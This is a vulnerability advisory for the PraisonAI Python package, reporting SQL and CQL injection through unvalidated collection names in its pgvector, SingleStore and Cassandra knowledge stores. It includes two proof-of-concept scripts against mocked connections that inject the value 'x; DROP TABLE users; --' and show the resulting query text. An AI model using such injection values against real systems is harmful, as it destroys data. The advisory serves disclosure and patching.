PT-2026-59534 · Pypi · Praisonai
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
6.3
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
Summary
PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated
name and collection arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.Details
This issue affects the public persistence layer exported by [persistence/ init .py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/ init .py:1), which exposes
KnowledgeStore and create knowledge store(). The factory wires the affected backends as supported knowledge-store providers in [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112):pgvectorat [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162)cassandraat persistence/factory.pysinglestore vectorat persistence/factory.py
The common root cause is that the
KnowledgeStore interface accepts free-form collection names in create collection(), delete collection(), insert(), upsert(), search(), get(), delete(), and count() at [persistence/knowledge/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.Representative sinks:
SingleStoreVectorKnowledgeStorebuildstable name = f"{self.table prefix}{name}"and executes raw DDL in [[persistence/knowledge/singlestore vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore vector.py:92). The same pattern is reused fordelete collection,insert,upsert,search,get,delete, andcount.PGVectorKnowledgeStorebuildspublic.praison vec {collection}andidx {name} embeddingdirectly into SQL in [persistence/knowledge/pgvector.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).CassandraKnowledgeStoreinterpolatesnameandcollectiondirectly intoCREATE TABLE,DROP TABLE,INSERT,SELECT,DELETE, andCOUNTstatements in [persistence/knowledge/cassandra.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).
There is already an internal identifier validator in the conversation persistence layer:
validate identifier()only allows alphanumeric characters and underscores in [persistence/conversation/base.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)
That validator is used for SQL identifiers such as
table prefix and schema in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.Version scope:
pgvector.pyandcassandra.pywere already present byv2.4.1singlestore vector.pywas present byv2.4.3- the current PyPI release on May 1, 2026 is
4.6.33, and the same interpolation patterns are still present
Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.
PoC
The following local reproductions show that attacker-controlled collection names become part of the executed SQL text.
- Reproduce the
SingleStoreVectorKnowledgeStore.delete collection()query construction:
bash
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = {
"praisonai": types.ModuleType("praisonai"),
"praisonai.persistence": types.ModuleType("praisonai.persistence"),
"praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
v. path = []
sys.modules[k] = v
def load(name, path):
spec = importlib.util.spec from file location(name, path)
mod = importlib.util.module from spec(spec)
sys.modules[name] = mod
spec.loader.exec module(mod)
return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
ss = load("praisonai.persistence.knowledge.singlestore vector", base / "knowledge" / "singlestore vector.py")
class FakeCursor:
def init (self, parent): self.parent = parent
def execute(self, query, params=None): self.parent.calls.append((query, params))
def enter (self): return self
def exit (self, *args): return False
class FakeConn:
def init (self): self.calls = []
def cursor(self): return FakeCursor(self)
store = ss.SingleStoreVectorKnowledgeStore()
store. initialized = True
store. conn = FakeConn()
store.delete collection("x; DROP TABLE users; --")
print(store. conn.calls[-1][0].strip())
PYObserved result:
text
DROP TABLE IF EXISTS praisonai x; DROP TABLE users; --- Reproduce the
PGVectorKnowledgeStore.create collection()query construction:
bash
python3 - <<'PY'
import importlib.util
import pathlib
import sys
import types
base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence")
mods = {
"praisonai": types.ModuleType("praisonai"),
"praisonai.persistence": types.ModuleType("praisonai.persistence"),
"praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"),
}
for k, v in mods.items():
v. path = []
sys.modules[k] = v
def load(name, path):
spec = importlib.util.spec from file location(name, path)
mod = importlib.util.module from spec(spec)
sys.modules[name] = mod
spec.loader.exec module(mod)
return mod
load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py")
psycopg2 = types.ModuleType("psycopg2")
extras = types.ModuleType("psycopg2.extras")
pool = types.ModuleType("psycopg2.pool")
class DummyPool:
def init (self, *a, **k): pass
def getconn(self): return None
def putconn(self, c): pass
pool.ThreadedConnectionPool = DummyPool
extras.RealDictCursor = object
psycopg2.pool = pool
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras
pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py")
class FakeCursor:
def init (self, parent): self.parent = parent
def execute(self, query, params=None): self.parent.calls.append((query, params))
def enter (self): return self
def exit (self, *args): return False
class FakeConn:
def init (self): self.calls = []
def cursor(self): return FakeCursor(self)
def commit(self): pass
store = pg.PGVectorKnowledgeStore(auto create extension=False)
conn = FakeConn()
store. get conn = lambda: conn
store. put conn = lambda c: None
store.create collection("x; DROP TABLE users; --", 3)
for query, in conn.calls:
print(query.strip())
PYObserved result includes:
text
CREATE TABLE IF NOT EXISTS public.praison vec x; DROP TABLE users; -- (
CREATE INDEX IF NOT EXISTS idx x; DROP TABLE users; -- embeddingThe Cassandra backend follows the same pattern in its
CREATE TABLE, DROP TABLE, INSERT, SELECT, and DELETE statements.Impact
This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.
Potential impact depends on backend and driver behavior, but includes:
- malformed queries and backend errors
- access to unintended tables or indexes
- execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape
I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Praisonai